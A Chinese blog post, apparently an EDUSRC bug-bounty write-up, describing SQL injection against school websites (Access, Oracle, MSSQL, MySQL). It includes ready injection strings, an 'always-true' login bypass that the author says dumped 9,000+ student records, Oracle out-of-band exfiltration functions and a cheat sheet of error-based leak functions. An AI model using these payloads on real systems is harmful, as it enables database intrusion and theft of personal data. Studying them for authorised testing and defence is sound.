Loading

edusrc_一些sql注入的实例分享及一些总结

朴实无华的id参数处

image-20260730203355523

看到url处id标准的sql注入点直接无脑尝试单引号,没想到居然直接处D盾waf了。
image.png
一开始感觉这种普通展示文章的站点不会有,所以当时就没当回事,以为waf就是正常遇到单引号拦截了一下。直到几个月后我又回来仔细看了一下这个点,才发现居然真的存在。

试探

开始试了一下除法,发现是数字型,而且D盾神奇的不拦截了。
1/1正常显示,1/0由于除零错误会报错404或者500,合理的数字型注入点:

image-20260730203443274

image.png

确认数据库类型

确认数据库类型的方式大概有以下几种:

  • 有该数据库独有的函数可以执行从而判断
  • 通过原生的报错语句判断
  • 通过指纹信息确认开发语言从而推断大概率使用的类型,比如如果是asp.NET,那么它大概率会是sql server 或者 Access(比较老的站点)

最开始我试出了ASC这个函数是可用的,那么基本可以确定数据库类型是Access数据库了
准备了一个sql语句常见关键字的小字典,拿到一些可用的函数:

LEN
ASC  
INSTR 
DLookup 
DCount

fuzz

Access数据库注入恶心人的点在于,他不能像其他例如mysql, oracle这种直接拿到表名,字段。
而是得靠你去猜,如果没猜到那可以说gg了。
但猜也要有技巧,比如默认可能会有一些例如 admin这种表,如果是学校相关的,也可以猜 teacher student 这类相关的名字。

最终fuzz出admin表名,其中字段只拿到了id和password两个。
可以通过如下方式判断出字段长度,其中DLookup是一个巨好用的函数在access中,可以直接取用表中的字段:

?id=16-LEN(DLookup("password","admin"))
?id=17-LEN(DLookup("password","admin"))

orerby注入——参数中遇到asc

image.png

注意当遇到这种参数中有asc,order这种明显的特征的时候,就要意识到,极有可能是orderby,有参数注入点。

通常我们可以尝试:

  • 在asc后面加上数字来判断字段数 asc,10 直到查不出数据的时候,就能判断出字段数了。

  • 接下来在逗号后面其实就可以测试一些函数是否可用,从而确认数据库类型。

    一些数据库专属的函数:
    asc,DECODE(1,1,67,68) Oracle
    asc,IF(1=1,67,68) MySQL
    asc,IIF(1=1,67,68) SQL Server

此处我们成功确认了类型为Oracle.

image.png

fuzz可用函数
试了一下,user length之类的函数不可用,fuzz一下:

DECODE - 核心逻辑判断
VSIZE - 探测长度 (替代 LENGTH)
DUMP - 提取底层 ASCII/十六进制数据
INSTR - 字符位置探测 (替代 SUBSTR)
ORA_DATABASE_NAME - 获取数据库名
ROWNUM - 伪列逻辑
SYSDATE - 系统时间
CURRENT_DATE - 当前日期
SESSIONTIMEZONE - 时区信息
SYSTIMESTAMP - 系统时间戳
WIDTH_BUCKET - 范围探测
ASCII - 字符转码
BITAND - 位运算
GREATEST - 取最大值
LEAST - 取最小值
NVL2 - 空值处理
COALESCE - 逻辑提取

这些都是可用的。

后面通过构造布尔盲注拿到了数据库表名。

如果遇到盲注,此处有一个更好用的方式那就是外带。 通过一些能够发起http请求的函数来外带,比如:
oracle中:

utl_http.request() 直接内部参数为url
DBMS_LDAP.INIT()  参数1 域名 参数2(可选) 端口
HTTPURITYPE() 直接内部参数为url
UTL_INADDR.GET_HOST_ADDRESS()

image.png

这里后来试了一下也是能成功外带拿到表名。

学号查询

遇到下面这样一个通过输入身份证号获取学号的功能点:

image.png

直接一个单引号下去,也是出现了明显的ORA报错:
image.png

确认数据库类型为oracle。

原本直接构造一些条件页面没什么变化,结果后面看了一些相关的文章, 直接大力出奇迹,一个万能密码oral的万能密码'or+'a'||'a'='aa'--,直接注处了所有新生数据,总共9000多条:
image.png

后续发起的请求参数带出报错

有些报错信息不一定是返回包中显示,而是会在后续发起的请求中带出,这里就需要多注意观察每个请求的细节.

服务号的一些sql注入

image-20260504163810329

'+and+1/db_name()='
' and 1/db_name()='

oracle报错注入

一些冷门+常用的报错函数及其用法总结:

ctxsys.drithsx.sn(1,user)
ctxsys.drithsx.sn(1,(select user from dual))
dbms_xdb_version.uncheckout((select user from dual))
dbms_xdb_version.makeversioned((select user from dual))
dbms_xdb_version.checkin((select user from dual))
dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1))
ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)
dbms_utility.sqlid_to_sqlhash((select user from dual))
ctxsys.drithsx.sn(1,(select user from dual))
utl_inaddr.get_host_name((select user from dual))

获取当前数据库版本 ( select banner from sys.v_$version where rownum=1)

MYSQL注入一些总结

内联注释绕过

1' /*!50000order*/ /*!50000by*/ 3 %23

MSSQL注入的一些总结

posted @ 2026-02-22 19:13  幽暗天琴沙雕  阅读(56)  评论(3)    收藏  举报